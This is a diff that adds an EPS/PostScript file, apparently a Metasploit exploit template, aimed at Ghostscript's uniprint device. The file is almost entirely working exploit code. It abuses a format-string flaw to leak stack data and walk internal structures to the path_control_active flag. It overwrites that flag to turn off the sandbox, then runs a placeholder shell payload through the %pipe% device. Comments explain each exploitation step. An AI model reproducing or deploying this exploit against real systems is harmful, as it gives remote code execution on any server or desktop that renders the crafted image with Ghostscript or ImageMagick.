|
| 1 | +%!PS-Adobe-3.0 EPSF-3.0 |
| 2 | +%%Pages: 1 |
| 3 | +%%BoundingBox: 36 36 576 756 |
| 4 | +%%LanguageLevel: 1 |
| 5 | +%%EndComments |
| 6 | +%%BeginProlog |
| 7 | +%%EndProlog |
| 8 | + |
| 9 | +% Make sure to restore the original `setpagedevice` from userdict or systemdict |
| 10 | +% in case it has been redefined in another postscript file. |
| 11 | +% This happens with ImageMagick for example. |
| 12 | +userdict begin |
| 13 | +systemdict /setpagedevice known |
| 14 | +{ |
| 15 | + /setpagedevice systemdict /setpagedevice get def |
| 16 | +} |
| 17 | +if |
| 18 | +end |
| 19 | + |
| 20 | +% ====== Configuration ====== |
| 21 | + |
| 22 | +% Offset of `gp_file *out` on the stack |
| 23 | +/IdxOutPtr MSF_IDXOUTPTR def |
| 24 | + |
| 25 | + |
| 26 | +% ====== General Postscript utility functions ====== |
| 27 | + |
| 28 | +% from: https://github.com/scriptituk/pslutils/blob/master/string.ps |
| 29 | +/cat { |
| 30 | + exch |
| 31 | + dup length 2 index length add string |
| 32 | + dup dup 5 2 roll |
| 33 | + copy length exch putinterval |
| 34 | +} bind def |
| 35 | + |
| 36 | +% from: https://rosettacode.org/wiki/Repeat_a_string#PostScript |
| 37 | +/times { |
| 38 | + dup length dup % rcount ostring olength olength |
| 39 | + 4 3 roll % ostring olength olength rcount |
| 40 | + mul dup string % ostring olength flength fstring |
| 41 | + 4 1 roll % fstring ostring olength flength |
| 42 | + 1 sub 0 3 1 roll % fstring ostring 0 olength flength_minus_one |
| 43 | + { % fstring ostring iter |
| 44 | + 1 index 3 index % fstring ostring iter ostring fstring |
| 45 | + 3 1 roll % fstring ostring fstring iter ostring |
| 46 | + putinterval % fstring ostring |
| 47 | + } for |
| 48 | + pop % fstring |
| 49 | +} def |
| 50 | + |
| 51 | +% Printing helpers |
| 52 | +% /println { print (\012) print } bind def |
| 53 | +% /printnumln { =string cvs println } bind def |
| 54 | + |
| 55 | +% ====== Start of exploit helper code ====== |
| 56 | + |
| 57 | +% Make a new tempfile but only save its path. This gives us a file path to read/write |
| 58 | +% which will exist as long as this script runs. We don't actually use the file object |
| 59 | +% (hence `pop`) because we're passing the path to uniprint and reopening it ourselves. |
| 60 | +/PathTempFile () (w+) .tempfile pop def |
| 61 | + |
| 62 | + |
| 63 | +% Convert hex string "4142DEADBEEF" to padded little-endian byte string <EFBEADDE42410000> |
| 64 | +% <HexStr> str_ptr_to_le_bytes <ByteStringLE> |
| 65 | +/str_ptr_to_le_bytes { |
| 66 | + % Convert hex string argument to Postscript string |
| 67 | + % using <DEADBEEF> notation |
| 68 | + /ArgBytes exch (<) exch (>) cat cat token pop exch pop def |
| 69 | + |
| 70 | + % Prepare resulting string (`string` fills with zeros) |
| 71 | + /Res 8 string def |
| 72 | + |
| 73 | + % For every byte in the input |
| 74 | + 0 1 ArgBytes length 1 sub { |
| 75 | + /i exch def |
| 76 | + |
| 77 | + % put byte at index (len(ArgBytes) - 1 - i) |
| 78 | + Res ArgBytes length 1 sub i sub ArgBytes i get put |
| 79 | + } for |
| 80 | + |
| 81 | + Res % return |
| 82 | +} bind def |
| 83 | + |
| 84 | + |
| 85 | +% <StackString> <FmtString> do_uniprint <LeakedData> |
| 86 | +/do_uniprint { |
| 87 | + /FmtString exch def |
| 88 | + /StackString exch def |
| 89 | + |
| 90 | + % Select uniprint device with our payload |
| 91 | + << |
| 92 | + /OutputFile PathTempFile |
| 93 | + /OutputDevice /uniprint |
| 94 | + /upColorModel /DeviceCMYKgenerate |
| 95 | + /upRendering /FSCMYK32 |
| 96 | + /upOutputFormat /Pcl |
| 97 | + /upOutputWidth 99999 |
| 98 | + /upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings |
| 99 | + /upYMoveCommand FmtString |
| 100 | + >> |
| 101 | + setpagedevice |
| 102 | + |
| 103 | + % Manipulate the interpreter to put a recognizable piece of data on the stack |
| 104 | + (%%__) StackString cat .runstring |
| 105 | + |
| 106 | + % Produce a page with some content to trigger uniprint logic |
| 107 | + newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke |
| 108 | + showpage |
| 109 | + |
| 110 | + % Read back the written data |
| 111 | + /InFile PathTempFile (r) file def |
| 112 | + /LeakedData InFile 4096 string readstring pop def |
| 113 | + InFile closefile |
| 114 | + |
| 115 | + LeakedData % return |
| 116 | +} bind def |
| 117 | + |
| 118 | + |
| 119 | +% get_index_of_controllable_stack <Idx> |
| 120 | +/get_index_of_controllable_stack { |
| 121 | + % A recognizable token on the stack to search for |
| 122 | + /SearchToken (ABABABAB) def |
| 123 | + |
| 124 | + % Construct "1:%lx,2:%lx,3:%lx,...,400:%lx," |
| 125 | + /FmtString 0 string 1 1 400 { 3 string cvs (:%lx,) cat cat } for def |
| 126 | + |
| 127 | + SearchToken FmtString do_uniprint |
| 128 | + |
| 129 | + % Search for ABABABAB => 4241424142414241 (assume LE) |
| 130 | + (4241424142414241) search { |
| 131 | + exch pop |
| 132 | + exch pop |
| 133 | + % <pre> is left |
| 134 | + |
| 135 | + % Search for latest comma in <pre> to get e.g. `123:` as <post> |
| 136 | + (,) rsearch pop pop pop |
| 137 | + |
| 138 | + % Search for colon and use <pre> to get `123` |
| 139 | + (:) search pop exch pop exch pop |
| 140 | + |
| 141 | + % return as int |
| 142 | + cvi |
| 143 | + } { |
| 144 | + % (Could not find our data on the stack.. exiting) println |
| 145 | + quit |
| 146 | + } ifelse |
| 147 | +} bind def |
| 148 | + |
| 149 | + |
| 150 | +% <StackIdx> <AddrHex> write_to |
| 151 | +/write_to { |
| 152 | + /AddrHex exch str_ptr_to_le_bytes def % address to write to |
| 153 | + /StackIdx exch def % stack idx to use |
| 154 | + |
| 155 | + /FmtString StackIdx 1 sub (%x) times (_%ln) cat def |
| 156 | + |
| 157 | + AddrHex FmtString do_uniprint |
| 158 | + |
| 159 | + pop % we don't care about formatted data |
| 160 | +} bind def |
| 161 | + |
| 162 | + |
| 163 | +% <StackIdx> read_ptr_at <PtrHexStr> |
| 164 | +/read_ptr_at { |
| 165 | + /StackIdx exch def % stack idx to use |
| 166 | + |
| 167 | + /FmtString StackIdx 1 sub (%x) times (__%lx__) cat def |
| 168 | + |
| 169 | + () FmtString do_uniprint |
| 170 | + |
| 171 | + (__) search pop pop pop (__) search pop exch pop exch pop |
| 172 | +} bind def |
| 173 | + |
| 174 | + |
| 175 | +% num_bytes <= 9 |
| 176 | +% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt> |
| 177 | +/read_dereferenced_bytes_at { |
| 178 | + /NumBytes exch def |
| 179 | + /PtrHex exch def |
| 180 | + /PtrOct PtrHex str_ptr_to_le_bytes def % address to read from |
| 181 | + /StackIdx exch def % stack idx to use |
| 182 | + |
| 183 | + /FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def |
| 184 | + |
| 185 | + PtrOct FmtString do_uniprint |
| 186 | + |
| 187 | + /Data exch (__) search pop pop pop (__) search pop exch pop exch pop def |
| 188 | + |
| 189 | + % Check if we were able to read all bytes |
| 190 | + Data length NumBytes eq { |
| 191 | + % Yes we did! So return the integer conversion of the bytes |
| 192 | + 0 % accumulator |
| 193 | + NumBytes 1 sub -1 0 { |
| 194 | + exch % <i> <accum> |
| 195 | + 256 mul exch % <accum*256> <i> |
| 196 | + Data exch get % <accum*256> <Data[i]> |
| 197 | + add % <accum*256 + Data[i]> |
| 198 | + } for |
| 199 | + } { |
| 200 | + % We did not read all bytes, add a null byte and recurse on addr+1 |
| 201 | + StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at |
| 202 | + 256 mul |
| 203 | + } ifelse |
| 204 | +} bind def |
| 205 | + |
| 206 | + |
| 207 | +% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr> |
| 208 | +/read_dereferenced_ptr_at { |
| 209 | + % Read 6 bytes |
| 210 | + 6 read_dereferenced_bytes_at |
| 211 | + |
| 212 | + % Convert to hex string and return |
| 213 | + 16 12 string cvrs |
| 214 | +} bind def |
| 215 | + |
| 216 | + |
| 217 | +% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr> |
| 218 | +/ptr_add_offset { |
| 219 | + /PtrHexStr exch def % hex string pointer |
| 220 | + /Offset exch def % integer to add |
| 221 | + |
| 222 | + /PtrNum (16#) PtrHexStr cat cvi def |
| 223 | + |
| 224 | + % base 16, string length 12 |
| 225 | + PtrNum Offset add 16 12 string cvrs |
| 226 | +} bind def |
| 227 | + |
| 228 | + |
| 229 | +% () println |
| 230 | + |
| 231 | +% ====== Start of exploit logic ====== |
| 232 | + |
| 233 | + |
| 234 | +% Find out the index of the controllable bytes |
| 235 | +% This is around the 200-300 range but differs per binary/version |
| 236 | +/IdxStackControllable get_index_of_controllable_stack def |
| 237 | +% (Found controllable stack region at index: ) print IdxStackControllable printnumln |
| 238 | + |
| 239 | +% Exploit steps: |
| 240 | +% - `gp_file *out` is at stack index `IdxOutPtr`. |
| 241 | +% |
| 242 | +% - Controllable data is at index `IdxStackControllable`. |
| 243 | +% |
| 244 | +% - We want to find out the address of: |
| 245 | +% out->memory->gs_lib_ctx->core->path_control_active |
| 246 | +% hence we need to dereference and add ofsets a few times |
| 247 | +% |
| 248 | +% - Once we have the address of `path_control_active`, we use |
| 249 | +% our write primitive to write an integer to its address - 3 |
| 250 | +% such that the most significant bytes (zeros) of that integer |
| 251 | +% overwrite `path_control_active`, setting it to 0. |
| 252 | +% |
| 253 | +% - Finally, with `path_control_active` disabled, we can use |
| 254 | +% the built-in (normally sandboxed) `%pipe%` functionality to |
| 255 | +% run shell commands |
| 256 | + |
| 257 | + |
| 258 | +/PtrOut IdxOutPtr read_ptr_at def |
| 259 | + |
| 260 | +% (out: 0x) PtrOut cat println |
| 261 | + |
| 262 | + |
| 263 | +% memory is at offset 144 in out |
| 264 | +/PtrOutOffset 144 PtrOut ptr_add_offset def |
| 265 | +/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def |
| 266 | + |
| 267 | +% (out->mem: 0x) PtrMem cat println |
| 268 | + |
| 269 | +% gs_lib_ctx is at offset 208 in memory |
| 270 | +/PtrMemOffset 208 PtrMem ptr_add_offset def |
| 271 | +/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def |
| 272 | + |
| 273 | +% (out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println |
| 274 | + |
| 275 | +% core is at offset 8 in gs_lib_ctx |
| 276 | +/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def |
| 277 | +/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def |
| 278 | + |
| 279 | +% (out->mem->gs_lib_ctx->core: 0x) PtrCore cat println |
| 280 | + |
| 281 | +% path_control_active is at offset 156 in core |
| 282 | +/PtrPathControlActive 156 PtrCore ptr_add_offset def |
| 283 | + |
| 284 | +% (out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println |
| 285 | + |
| 286 | +% Subtract a bit from the address to make sure we write a null over the field |
| 287 | +/PtrTarget -3 PtrPathControlActive ptr_add_offset def |
| 288 | + |
| 289 | +% And overwrite it! |
| 290 | +IdxStackControllable PtrTarget write_to |
| 291 | + |
| 292 | + |
| 293 | +% And now `path_control_active` == 0, so we can use %pipe% |
| 294 | + |
| 295 | +(%pipe%MSF_PAYLOAD) (r) file |
| 296 | + |
| 297 | +quit |
0 commit comments